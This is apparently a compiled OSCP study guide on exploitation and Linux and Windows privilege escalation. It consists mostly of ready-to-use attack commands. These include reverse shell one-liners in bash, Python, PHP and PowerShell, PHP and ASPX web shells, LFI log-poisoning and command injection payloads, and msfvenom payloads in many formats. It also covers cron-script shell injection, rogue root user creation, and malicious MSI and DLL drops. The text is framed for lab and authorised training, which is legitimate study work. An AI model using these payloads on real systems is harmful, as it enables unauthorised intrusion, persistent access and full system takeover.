Vulnerability research workflow — service to exploit

Version fingerprinting is 80% of the work. If you know exactly what is running, finding a working exploit is straightforward.

Workflow

```
nmap scan → service + version → searchsploit → ExploitDB → NVD/CVE → PoC test
```

Step 1: Fingerprint precisely

```
nmap -sV -sC -p <port> <target>          # service version detection
nmap -sV --version-intensity 9 <target>    # aggressive version grab
```

Banner grab when nmap is vague:

```
nc -nv <target> <port>
curl -I http://<target>          # HTTP server header
```

Step 2: searchsploit

```
searchsploit apache 2.4
searchsploit openssh 7.2
searchsploit "vsftpd 2.3.4"          # quote multi-word terms
searchsploit -t smb                  # title-only search

# Copy exploit to working directory
searchsploit -m exploits/linux/remote/12345.py
searchsploit -m exploits/windows/remote/42315.py
```

Step 3: CVE research

Source	URL	Use
Mitre CVE	https://cve.mitre.org/	Canonical CVE lookup
NVD	https://nvd.nist.gov/	CVSS scores, patch status
ExploitDB	https://www.exploit-db.com/	PoC code, search by CVE
GitHub	https://github.com/search?q=CVE-XXXX	Community PoCs
Rapid7	https://www.rapid7.com/db/	Metasploit module availability

Step 4: Evaluate the PoC before running it

```
cat exploit.py          # read the code — understand what it does
head -30 exploit.py     # check usage instructions in comments
grep -i "lhost\\|lport\\|rhost\\|usage\\|example" exploit.py
```

Questions to answer before executing: What does it require? What does it send? What does success look like?

Mindset

Exploit research is a skill — resist jumping to Metasploit first. Practice the manual path: find PoC → read it → run it → understand why it worked.

Source: 11-exploitation-fundamentals/03-metasploit-core-workflow.md

Metasploit core workflow — OSCP-aware usage

OSCP exam allows **one Metasploit exploit module** per attempt. Use it deliberately. Learn the workflow deeply so you spend it on the right target.

Starting and searching

```
msfconsole          # launch
msfconsole -q       # quiet mode, no banner

search vsftpd       # search by name
search type:exploit platform:windows # filter by type/platform
search cve:2017-0144 # search by CVE
info <module_path>  # full module details
```

Core workflow

```
use exploit/unix/ftp/vsftpd_234_backdoor
show options          # required and optional params
set RHOSTS 192.168.1.50
set RPORT 21
show payloads         # payloads compatible with this module
set PAYLOAD cmd/unix/interact
run                   # or exploit
```

Common module types

Type	Purpose
exploit/	Attack a vulnerability
payload/	Code executed after exploit
auxiliary/	Scanners, fuzzers, brute force
post/	Post-exploitation actions

Meterpreter basics (after shell)

```
sysinfo          # OS, hostname, arch
getuid           # current user
getpid          # process ID
ps              # process list
shell           # drop to OS shell
upload /local/file /remote/path
download /remote/file /local/path
hashdump        # dump local hashes (needs SYSTEM/root)
run post/multi/recon/local_exploit_suggester
background      # background session
sessions -l      # list sessions
sessions -i 1    # interact with session 1
```

Catching shells with multi/handler

```
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.45.X
set LPORT 4444
set ExitOnSession false # keep handler alive for multiple shells
run -j                  # run as background job
```

Practice

- HTB Academy: “Using Metasploit Framework” module — <https://academy.hackthebox.com/>
- TryHackMe: “Metasploit” room — <https://tryhackme.com/room/metasploitintro>

- Metasploitable2: practice all module types before exam

Source: 11-exploitation-fundamentals/04-manual-exploitation-methodology.md

Manual exploitation methodology — no Metasploit

Most OSCP exam targets require manual exploitation. Build this muscle early by deliberately avoiding Metasploit on practice boxes.

Process: PoC to working shell

1. Download PoC exploit
2. Read the entire code – understand preconditions
3. Identify required adjustments (LHOST, arch, shellcode)
4. Test on own VM first if possible
5. Execute against target, observe results
6. Iterate on failures – wrong arch, bad shellcode, firewall

Common adjustments when modifying PoCs

```
# Check target architecture from prior enumeration
uname -m          # Linux: x86_64 / i686
file /bin/bash    # Linux: ELF 64-bit / 32-bit

# Replace shellcode – generate fresh with msfvenom
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f py -b "\x00"

# Adjust LHOST/LPORT variables in the script
grep -n "LHOST\|LPORT\|lhost\|lport" exploit.py
```

Manual reverse shell patterns

Start a listener first on every pattern:

```
nc -lvnp 4444
```

Bash:

```
bash -i >& /dev/tcp/LHOST/4444 0>&1
```

Python:

```
python3 -c 'import
socket,subprocess,os;s=socket.socket();s.connect(("LHOST",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```

PHP:

```
php -r '$sock=fsockopen("LHOST",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
```

PowerShell (Windows):

```
$c=New-Object Net.Sockets.TCPCClient("LHOST",4444);$s=$c.GetStream();[byte[]]$b=0..65535|%
{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);
$r=(iex $d 2>&1|Out-String);$x=$r+"PS "+(pwd).Path+"> ";$e=[text.encoding]::ASCII.GetBytes($x);$s.Wr
ite($e,0,$e.Length)}
```

Reference sheet: <https://www.revshells.com/> (generates reverse shell one-liners in browser)

Shell upgrade after catching

```
python3 -c 'import pty;pty.spawn("/bin/bash")'  
# then: Ctrl+Z → stty raw -echo → fg → export TERM=xterm
```

Practice

OffSec Proving Grounds Practice — Easy tier boxes, **no Metasploit**: <https://www.offsec.com/labs/>

Commit to the rule: if Metasploit has a module for it, find the manual PoC and use that instead.

Source: `11-exploitation-fundamentals/05-web-exploitation-techniques.md`

Web exploitation techniques — practical lab-focused

Web vulnerabilities frequently appear in OSCP labs and exam. These techniques go beyond recon into getting shells.

SQLi to shell (lab/authorised targets only)

```
# Confirm injection point  
sqlmap -u "http://target/page?id=1" --dbs  
sqlmap -u "http://target/page?id=1" -D <db_name> --tables  
sqlmap -u "http://target/page?id=1" -D <db_name> -T users --dump  
  
# OS shell via SQLi (MySQL with FILE priv, MSSQL xp_cmdshell)  
sqlmap -u "http://target/page?id=1" --os-shell  
  
# POST request — capture with Burp, save to file, feed sqlmap  
sqlmap -r request.txt --dbs
```

File upload exploitation

Bypass extension filters:

```
shell.php → shell.php5 / shell.phtml / shell.pHp  
shell.asp → shell.aspx / shell.asa  
Add double extension: shell.php.jpg  
Null byte (older PHP): shell.php%00.jpg  
Change Content-Type header to image/jpeg in Burp
```

PHP web shell:

```
<?php system($_GET['cmd']); ?>
```

ASPX web shell:

```
<%@ Page Language="C#" %><% Response.Write(System.Diagnostics.Process.Start("cmd.exe", "/" + Request.QueryString["cmd"])); %>
```

After upload, trigger: `http://target/uploads/shell.php?cmd=id`

LFI to RCE

```
# Basic LFI
http://target/page?file=../../../../etc/passwd

# Log poisoning via User-Agent (Apache /var/log/apache2/access.log)
curl -A "<?php system(\$_GET['cmd']); ?>" http://target/
http://target/page?file=../../../../var/log/apache2/access.log&cmd=id

# PHP wrappers
http://target/page?file=php://filter/convert.base64-encode/resource=index.php
http://target/page?file=data://text/plain;base64,PD9waHAga3lzdGVtKCRfR0VUWydkbWQnXSsk7ID8+&cmd=id
```

Command injection patterns

```
# Test each separator
;id
$(id)
`id`
|id
||id
&&id

# Blind injection – trigger outbound connection to confirm
;curl http://LHOST:8080/hit
;ping -c 1 LHOST
```

Practice platforms

Platform	URL	Focus
DVWA	https://github.com/digininja/DVWA	SQLi, XSS, file upload, cmd injection
WebGoat	https://github.com/WebGoat/WebGoat	Guided web vuln practice
PortSwigger Web Academy	https://portswigger.net/web-security	SQLi, LFI, file upload labs
TryHackMe OWASP Top 10	https://tryhackme.com/room/owasptop10	Room-based web exploitation

Source: 11-exploitation-fundamentals/06-payload-crafting-with-msfvenom.md

Payload crafting with msfvenom — lab environments

msfvenom generates standalone payloads to deploy when you have a file upload, code execution, or delivery vector but need a binary or script.

Core syntax

```
msfvenom -p <payload> LHOST=<IP> LPORT=<port> -f <format> > output.file
```

Common payload + format combinations

```
# Windows x64 staged Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.45.X LPORT=4444 -f exe > shell.exe

# Windows x86 staged Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.X LPORT=4444 -f exe > shell32.exe

# Linux x64
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.45.X LPORT=4444 -f elf > shell.elf

# PHP reverse shell
msfvenom -p php/reverse_php LHOST=192.168.45.X LPORT=4444 -f raw > shell.php

# ASPX (IIS / Windows web targets)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.X LPORT=4444 -f aspx > shell.aspx

# PowerShell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.X LPORT=4444 -f ps1 > shell.ps1

# JAR (Java targets)
msfvenom -p java/shell_reverse_tcp LHOST=192.168.45.X LPORT=4444 -f jar > shell.jar
```

Staged vs stageless

Type	Pattern	Behaviour
Staged	windows/x64/meterpreter/reverse_tcp	Small stager fetches payload from handler
Stageless	windows/x64/meterpreter_reverse_tcp	Full payload in the file, no callback needed

Use stageless when firewall may block multi-stage callbacks. Stageless = larger file.

Encoding (light AV evasion in lab contexts)

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=X LPORT=4444 \
  -e x64/zutto_dekiru -i 5 -f exe > encoded.exe

# List encoders
msfvenom --list encoders
```

Note: encoding alone does not bypass modern AV/EDR. It is lab practice only.

List available payloads and formats

```
msfvenom --list payloads | grep windows
msfvenom --list formats
msfvenom --list platforms
```

Catching the payload — multi/handler

```
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.45.X
set LPORT 4444
run
```


Lab exercise

1. Generate each format above.
 2. Transfer to your owned Metasploitable2 or Windows VM.
 3. Execute and catch the session.
 4. Practice `sysinfo`, `getuid`, `shell`, `upload`, `download` on each.
-

Source: 11-exploitation-fundamentals/07-service-specific-attack-patterns.md

Service-specific attack patterns — OSCP lab staples

Recognise the service, know the first three moves. These patterns repeat across OSCP labs and exam targets.

FTP (21)

```
nmap -sV -p 21 <target>
ftp <target>                                # try anonymous / anonymous
ftp> ls -la
ftp> get <interesting_file>

# Version exploits
searchsploit vsftpd 2.3.4                    # classic backdoor
searchsploit proftpd 1.3.3
```

SMB (139/445)

```
nmap -p 445 --script smb-vuln-ms17-010 <target> # EternalBlue check
nmap -p 445 --script smb-security-mode <target> # signing, auth level
smbclient -L //<target> -N                      # null session share list
smbclient //<target>/share -N                   # connect null session
enum4linux -a <target>                          # full SMB enum

# EternalBlue (MS17-010) — lab/authorised only
searchsploit ms17-010
# Metasploit: use exploit/windows/smb/ms17_010_eternalblue
```

SSH (22)

```
ssh -V                                       # check local client
nmap -p 22 --script ssh2-enum-algos <target> # supported algorithms
ssh <user>@<target> -o StrictHostKeyChecking=no

# Old versions
searchsploit openssh 7.2                    # user enumeration
ssh-audit <target>                          # https://github.com/jtesta/ssh-audit
```

RDP (3389)

```
nmap -p 3389 --script rdp-vuln-ms12-020 <target>
nmap -p 3389 --script rdp-enum-encryption <target>

# BlueKeep awareness — CVE-2019-0708 (Windows < 2019 without patch)
searchsploit bluekeep
# Metasploit: use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
# Note: unstable, often causes crash — use with extreme caution even in labs
```

HTTP/HTTPS (80/443)

```
whatweb http://<target>                # tech fingerprint
nikto -h http://<target>                # quick vuln scan
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt

# Version-specific exploits
searchsploit apache 2.2
searchsploit iis 6.0
searchsploit tomcat 7
```

MySQL (3306)

```
mysql -u root -p -h <target>           # try blank/default password
mysql -u root --password= -h <target>

# UDF exploitation (for root MySQL running as system user)
searchsploit mysql udf
# Technique: load_file / INTO OUTFILE for file read/write
SELECT load_file('/etc/passwd');
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';
```

SMTP (25)

```
nmap -p 25 --script smtp-enum-users <target>
nmap -p 25 --script smtp-open-relay <target>

# Manual user enumeration
nc -nv <target> 25
VRFY root
EXPN admin
```

Quick reference

Service	First check	Key tool
FTP	Anonymous login	ftp, searchsploit
SMB	null session + MS17-010	nmap scripts, smbclient
SSH	version + auth methods	ssh-audit
RDP	patch level, BlueKeep	nmap scripts
HTTP	tech stack + version	whatweb, nikto
MySQL	default creds, UDF	mysql CLI
SMTP	user enum, open relay	nmap scripts, nc

Source: 11-exploitation-fundamentals/08-integration-first-exploitation-chain.md

Integration — first end-to-end exploitation chain

Execute a full chain from scan to shell on a practice target. Document every command as you go — this is report-writing practice as much as exploitation practice.

Target options

- Metasploitable2 (local VM, always available, no internet needed)
- OffSec Proving Grounds Practice — Easy tier free machine: <https://www.offsec.com/labs/>

- TryHackMe “Basic Pentesting” room: <https://tryhackme.com/room/basicpentestingjt>

Chain template

Step 1: Host discovery and port scan

```
nmap -sn 192.168.X.0/24          # find target IP
nmap -sV -sC -p- --open -oN scan.txt <target>  # full port scan, save output
```

Document: IP, open ports, service versions.

Step 2: Service enumeration

```
# For each interesting service found:
nmap -p <port> --script=<relevant_scripts> <target>
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt
enum4linux -a <target>      # if SMB
```

Document: banners, software versions, misconfigs spotted.

Step 3: Vulnerability research

```
searchsploit <service> <version>
# Identify 1-2 candidate exploits
# Read the code before using
```

Document: CVE/exploit reference, why you selected it, preconditions.

Step 4: Configure and execute

```
# Manual PoC path
searchsploit -m <path/to/exploit>
python3 exploit.py <target> <lport>

# Catch the shell
nc -lvnp 4444
```

Document: exact command run, any modifications made.

Step 5: Confirm access

```
id
whoami
hostname
cat /etc/passwd  # Linux
type C:\Windows\System32\drivers\etc\hosts  # Windows
```

Document: user obtained, hostname, OS version.

Reporting section template

For each exploitation step, write one paragraph covering:

```
Vulnerability:  <name and CVE>
Evidence:       <command output showing version/vuln>
Impact:        <what access was gained>
Steps taken:   <numbered reproduction steps>
```

Self-check questions

- Can you explain every command you ran without looking at notes?
- Do you understand why the exploit worked (root cause)?
- Could you reproduce this from scratch in 30 minutes?
- Could you write a finding in a pentest report from your notes?

If any answer is no — re-run the box, slower.

Phase — 12-privilege-escalation

Directory: 12-privilege-escalation/

Source: 12-privilege-escalation/01-resources-and-privesc-mindset.md

Privilege escalation — resources and mindset

PrivEsc is 40% of OSCP. Getting a low-priv shell is the halfway point — root or SYSTEM is the goal. Enumerate everything before assuming nothing works.

Primary resources

Resource	URL
TCM “Linux PrivEsc” (YouTube)	https://www.youtube.com/watch?v=ZTioFZDMrFE
TCM “Windows PrivEsc” (YouTube)	https://www.youtube.com/watch?v=_8xJaaQlpBo
TryHackMe Linux PrivEsc	https://tryhackme.com/room/linuxprivesc
TryHackMe Windows PrivEsc	https://tryhackme.com/room/windows10privesc
HackTricks	https://book.hacktricks.xyz/
GTFObins	https://gtfobins.github.io/
LOLBAS (Windows)	https://lolbas-project.github.io/

Mindset

Enumerate first — exploit second. Rushing to kernel exploits without methodical enumeration wastes time and can crash services.

PrivEsc order of preference:

1. Sudo misconfiguration (easiest, most common)
2. SUID/SGID binary abuse
3. Cron job hijack / writable scripts
4. Weak service permissions (Windows)
5. Stored credentials
6. Path hijacking
7. Kernel exploit (last resort — can cause instability)

Note-taking discipline

Track what you have checked in a checklist per box. OSCP has a time limit. Unticked items are unexplored attack surface.

```
[ ] sudo -l
[ ] SUID/SGID binaries
[ ] Cron jobs
[ ] World-writable directories/files
[ ] Stored credentials (config files, history)
[ ] Running services
[ ] Installed software versions
[ ] Kernel version
[ ] Network connections (pivot paths)
```

Never move to the next box assuming you have found nothing — check every item.

Source: 12-privilege-escalation/02-linux-privesc-enumeration.md

Linux PrivEsc — systematic manual enumeration

Run every command below on every Linux box. Speed up with a saved enumeration script, but understand each command before you automate.

Identity and privileges

```
id
whoami
sudo -l                                # what can current user sudo?
cat /etc/passwd                        # all users
cat /etc/shadow                        # hashes — readable only if misconfigured
cat /etc/group
```

SUID/SGID binaries

```
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGID
find / -perm -6000 -type f 2>/dev/null # both
```

Cross-reference every result at <https://gtfobins.github.io/>

Cron jobs

```
crontab -l                            # current user's crons
crontab -l -u root 2>/dev/null         # root's crons (if visible)
cat /etc/crontab
ls -la /etc/cron*
cat /etc/cron.d/*
```

Check if any cron-called scripts are world-writable:

```
ls -la /path/to/script_in_crontab
```

Environment and PATH

```
env
echo $PATH
cat ~/.bash_history
cat ~/.bashrc
cat ~/.profile
```

OS and kernel

```
uname -a
uname -r
cat /proc/version
cat /etc/os-release
lsb_release -a 2>/dev/null
```

Running processes and network

```
ps aux
ps aux | grep root
ss -tulpn # open ports/sockets
netstat -tulpn 2>/dev/null # older systems
cat /etc/hosts
```

File system — interesting locations

```
find / -writable -type f 2>/dev/null | grep -v proc # world-writable files
find / -writable -type d 2>/dev/null # world-writable dirs
find / -name "*.conf" 2>/dev/null | xargs grep -l "password" 2>/dev/null
find /home -name ".ssh" -type d 2>/dev/null
cat /root/.bash_history 2>/dev/null # if readable
```

Installed packages and capabilities

```
dpkg -l # Debian/Ubuntu
rpm -qa # RHEL/CentOS
getcap -r / 2>/dev/null # Linux capabilities
```

NFS shares

```
cat /etc/exports # look for no_root_squash
showmount -e <target>
```

Run this checklist top-to-bottom on every box. Store results in your notes before starting exploitation attempts.

Source: `12-privilege-escalation/03-linux-privesc-techniques.md`

Linux PrivEsc techniques — top vectors with commands

Each technique maps to an enumeration finding. Identify the finding first, then apply the technique.

Sudo misconfiguration

```
sudo -l
# Look for: (ALL) NOPASSWD: /usr/bin/vim
# or: (root) NOPASSWD: /bin/bash

# GTF0bins is your reference for every binary found here
# https://gtfobins.github.io/

# Example: sudo vim → shell
sudo vim -c '!/bin/bash'

# Example: sudo find
sudo find . -exec /bin/bash \; -quit
```

SUID binary abuse

```
find / -perm -4000 -type f 2>/dev/null
# Cross-reference each binary at GTF0bins

# Example: /usr/bin/cp has SUID
# Add root user to /etc/passwd via cp abuse

# Example: /usr/bin/python3 has SUID
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

Cron job hijack

Finding: root cron executes `/opt/scripts/backup.sh` — script is world-writable.

```
# Overwrite the script
echo "bash -i >& /dev/tcp/LHOST/4444 0>&1" >> /opt/scripts/backup.sh
# Wait for cron to fire → catch shell on nc -lvnp 4444
```

PATH hijacking

Finding: a SUID binary or cron script calls a command without full path (e.g., calls `service` not `/bin/service`).

```
# Create malicious binary in writable dir
echo "/bin/bash" > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
# Trigger the SUID binary — it calls your fake 'service'
```

Linux capabilities

```
getcap -r / 2>/dev/null
# Example: /usr/bin/python3 = cap_setuid+ep
/usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/bash", "bash")'
```

Reference: <https://gtfobins.github.io/> — filter by “capabilities” column.

Writable /etc/passwd

```
# If /etc/passwd is writable:
openssl passwd -1 -salt salt123 mypassword # generate hash
echo "hacker:$hash:0:0:root:/root:/bin/bash" >> /etc/passwd
su hacker
```

NFS no_root_squash

```
# On attacker machine: mount the share
mkdir /tmp/nfs
mount -o rw,vers=2 <target>:/share /tmp/nfs
# Copy bash, set SUID
cp /bin/bash /tmp/nfs/bash
chmod +s /tmp/nfs/bash
# On target:
/share/bash -p # -p preserves effective UID (root)
```


Kernel exploit (last resort)

```
uname -r          # get kernel version
searchsploit linux kernel <version>
# Common: DirtyCow (CVE-2016-5195), overlayfs (CVE-2015-1328)
# Compile on a matching architecture, test in lab first
gcc exploit.c -o exploit && ./exploit
```

Kernel exploits risk crashing the target — use only after all other vectors exhausted.

Source: `12-privilege-escalation/04-linux-privesc-tools.md`

Linux PrivEsc tools — automated enumeration

Use tools to surface findings fast, then understand and manually verify before exploiting. A tool output you cannot explain is a finding you cannot use.

LinPEAS

The most comprehensive Linux enumeration script. Highlights findings in red (critical) and yellow (interesting).

```
# Run directly via curl (requires internet on target – lab use)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Transfer method (preferred – no internet on target needed)
# On attacker:
python3 -m http.server 8080
# On target:
wget http://<LHOST>:8080/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh | tee /tmp/linpeas.out

# Save output for review
/tmp/linpeas.sh 2>&1 | tee /tmp/out.txt
```

Focus areas in output: red highlights, sudo section, SUID section, cron section, credentials section.

pspy — process spy without root

Watches process creation in real time. Reveals cron jobs and root-executed commands.

```
# Transfer and run
wget http://<LHOST>:8080/pspy64
chmod +x pspy64
./pspy64          # watch for root UID=0 events
./pspy64 -p -i 1000 # also watch file system events, 1s interval

# Download: https://github.com/DominicBreuker/pspy/releases
```

Let it run for 2-5 minutes — cron jobs may fire on a schedule.

LinEnum

Older but still useful, generates a detailed HTML or text report.

```
wget http://<LHOST>:8080/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -t      # thorough mode
./LinEnum.sh -r report -t  # save report to file

# Download: https://github.com/rebootuser/LinEnum
```

linux-smart-enumeration (lse)

Levels of detail on demand. Level 0 = just interesting findings. Level 2 = everything.

```
wget http://<LHOST>:8080/lse.sh
chmod +x lse.sh
./lse.sh -l 1      # level 1: detailed relevant findings
./lse.sh -l 2      # level 2: full output

# Download: https://github.com/diego-treitos/linux-smart-enumeration
```

Transferring tools to target

```
# Attacker — serve files
python3 -m http.server 8080

# Target — fetch
wget http://LHOST:8080/tool
curl http://LHOST:8080/tool -o tool

# SCP (if SSH is available)
scp linpeas.sh user@target:/tmp/linpeas.sh
```

Manual vs automated

Automated tools surface candidates — manual understanding is mandatory before exploitation. If LinPEAS flags a SUID binary, look up GTFObins yourself to confirm the technique. Never run an exploit you cannot explain.

Practice: TryHackMe Linux PrivEsc room — run LinPEAS, then trace every finding back to the manual command that would have found it.

Source: 12-privilege-escalation/05-windows-privesc-enumeration.md

Windows PrivEsc — systematic manual enumeration

Run every command block below on every Windows target. Many findings are invisible without methodical enumeration.

Identity and privileges

```
whoami
whoami /all      # full user info including privileges and groups
whoami /priv     # token privileges — look for SeImpersonate, SeDebug, SeBackup
net user        # local users
net user <username> # specific user details
net localgroup administrators
net localgroup
```

System information

```
systeminfo # OS, patch level, hotfixes – key for CVE research
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
wmic os get Caption,Version,OSArchitecture
hostname
echo %USERDOMAIN%
```

Running processes and services

```
tasklist /SVC # processes with associated services
tasklist /FI "USERNAME ne NT AUTHORITY\SYSTEM" # non-system processes
wmic service list brief # all services
wmic service get name,displayname,pathname,startmode
sc query type= all # all service states
```

Network connections

```
netstat -ano # all connections with PIDs
netstat -ano | findstr LISTENING
ipconfig /all
route print
arp -a
```

Installed software and patches

```
wmic product get name,version # installed software
wmic qfe list brief # installed hotfixes/patches
wmic qfe get Caption,Description,HotFixID,InstalledOn
```

Registry — key PrivEsc checks

```
# AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Stored credentials
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

# AutoLogon credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

Filesystem — interesting locations

```
dir "C:\Program Files"
dir "C:\Program Files (x86)"
dir C:\Users
dir C:\Users\<user>\Desktop
dir C:\Users\<user>\Documents
dir C:\Windows\Temp
dir C:\Temp 2>nul
dir C:\ /s /b 2>nul | findstr /si password
```

Unquoted service paths — quick check

```
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows"
```

Any path with spaces and no quotes is a potential unquoted service path vulnerability.

Source: [12-privilege-escalation/06-windows-privesc-techniques.md](#)

Windows PrivEsc techniques — top vectors with commands

Unquoted service paths

```
# Find candidate services
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows"

# Example: C:\Program Files\My App\service.exe
# Windows tries: C:\Program.exe, C:\Program Files\My.exe, C:\Program Files\My App\service.exe
# If any parent directory is writable, drop a malicious binary there

# Check write permission on directory
icacls "C:\Program Files\My App"
# Look for: BUILTIN\Users:(W) or Everyone:(W)

# Create payload, drop at writable path
msfvenom -p windows/x64/shell_reverse_tcp LHOST=X LPORT=4444 -f exe > "C:\Program Files\My.exe"
# Restart service
sc stop <service>
sc start <service>
```

Weak service permissions

```
# Check permissions on service binary
icacls "C:\path\to\service.exe"
# If writable by current user — replace binary with reverse shell payload

# Check service config permissions with accesschk (Sysinternals)
accesschk.exe -ucqv <servicename>
accesschk.exe -uwcqv "Authenticated Users" *

# If SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG:
sc config <service> binpath= "C:\Temp\shell.exe"
sc stop <service>
sc start <service>
```

SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege

Check token privileges first:

```
whoami /priv
```

If `SeImpersonatePrivilege` is enabled (common on IIS/SQL server service accounts):

```
# JuicyPotato — older systems (pre-Windows 10 1809)
# https://github.com/ohpe/juicy-potato
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c net user hacker Pass123! /add" -t * -c {CLSID}

# PrintSpoofer — Windows 10 / Server 2019
# https://github.com/itm4n/PrintSpoofer
PrintSpoofer.exe -i -c cmd

# RoguePotato — newer systems
# https://github.com/antonioCoco/RoguePotato
RoguePotato.exe -r <LHOST> -e "cmd.exe" -l 9999
```

AlwaysInstallElevated

```
# Both keys must be 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Craft malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=X LPORT=4444 -f msi > evil.msi
msiexec /quiet /qn /i evil.msi
```

DLL hijacking

```
# Find services loading DLLs from writable paths
# Use Process Monitor (Procmon) in lab: filter on Result = NAME NOT FOUND + Path ends .dll
# Place malicious DLL at expected path

msfvenom -p windows/x64/shell_reverse_tcp LHOST=X LPORT=4444 -f dll > target.dll
# Copy to the writable DLL search path
# Restart service
```

Token abuse with Meterpreter

```
# In Meterpreter session
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
```

Reference

HackTricks Windows PrivEsc: <https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation>

LOLBAS (native binaries for privilege abuse): <https://lolbas-project.github.io/>

Source: 12-privilege-escalation/07-windows-privesc-tools.md

Windows PrivEsc tools — automated enumeration

WinPEAS

Most comprehensive Windows enumeration script. Color-coded — red means high-interest finding.

```
# Run executable (precompiled)
winpeas.exe

# Run all checks with color output
winpeas.exe cmd

# Redirect output to file (loses color but useful for review)
winpeas.exe > C:\Temp\winpeas_out.txt
```

Download: <https://github.com/carlospolop/PEASS-ng/releases/latest> (winpeas.exe and winpeas.bat)

Key output sections to read: Services, Registry, Credentials, Files&Dirs, Processes.

PowerUp

PowerShell module checking service misconfigs, registry keys, and common PrivEsc paths.

```
# Load module
Import-Module PowerUp.ps1

# Run all checks
Invoke-AllChecks

# Individual checks
Get-ServiceUnquoted           # unquoted service paths
Get-ModifiableServiceFile    # writable service binaries
Get-RegistryAlwaysInstallElevated # AlwaysInstallElevated registry
Get-UnattendedInstallFile     # unattended install files with credentials
```

Download: <https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1>

If PowerShell execution policy blocks you:

```
powershell -ep bypass -c "Import-Module PowerUp.ps1; Invoke-AllChecks"
```

Seatbelt

Security posture assessment and enumeration. Broader than PrivEsc — good for credential and config hunting.

```
Seatbelt.exe -group=all
Seatbelt.exe -group=system
Seatbelt.exe CredEnum           # credential providers
Seatbelt.exe WindowsCredentialFiles # credential files
```

Download: <https://github.com/GhostPack/Seatbelt> (requires compile — use precompiled release)

Watson

Checks installed patches against known unpatched privilege escalation CVEs.

```
Watson.exe
```

Download: <https://github.com/rasta-mouse/Watson> (requires compile for target .NET version)

Transferring tools to Windows targets

```
# Attacker — Python HTTP server
python3 -m http.server 8080
```

```
# Target — certutil (almost always available)
certutil -urlcache -f http://LHOST:8080/winpeas.exe C:\Temp\winpeas.exe

# Target — PowerShell Invoke-WebRequest
iwr http://LHOST:8080/winpeas.exe -OutFile C:\Temp\winpeas.exe
powershell -c "(New-Object Net.WebClient).DownloadFile('http://LHOST:8080/winpeas.exe','C:\Temp\winpeas.exe')"
```

```
# Target — Bitsadmin (older systems)
bitsadmin /transfer job http://LHOST:8080/winpeas.exe C:\Temp\winpeas.exe
```

Writable staging directories: C:\Temp, C:\Windows\Temp, %APPDATA%, C:\Users\<user>\AppData\Local\Temp

Workflow

1. Transfer WinPEAS — run it, save output
2. Review red-highlighted sections manually
3. Run PowerUp for service-specific checks
4. Look up each finding on HackTricks before exploiting
5. Confirm technique works in lab before exam

Practice: TryHackMe Windows PrivEsc room — <https://tryhackme.com/room/windows10privesc>

Source: 12-privilege-escalation/08-integration-privesc-lab-chain.md

Integration — full PrivEsc chain on two boxes

Execute one Linux and one Windows PrivEsc chain end-to-end. Document as if writing a pentest report finding.

Target options

Linux: - TryHackMe “Linux PrivEsc” room — <https://tryhackme.com/room/linuxprivesc> - OffSec Proving Grounds Practice Easy Linux box — <https://www.offsec.com/labs/>

Windows: - TryHackMe “Windows PrivEsc” room — <https://tryhackme.com/room/windows10privesc> - OffSec Proving Grounds Practice Easy Windows box

Linux chain

Land as low-priv shell

```
# Via exploitation from Phase 11, or THM SSH credentials provided
ssh user@<target>
```

Enumerate

```
id && sudo -l
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontab && ls -la /etc/cron*
uname -r && cat /proc/version
```

Transfer and run LinPEAS

```
# Attacker
python3 -m http.server 8080
# Target
wget http://LHOST:8080/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh | tee /tmp/out.txt
```

Exploit the finding

Example vector: sudo misconfiguration

```
sudo -l
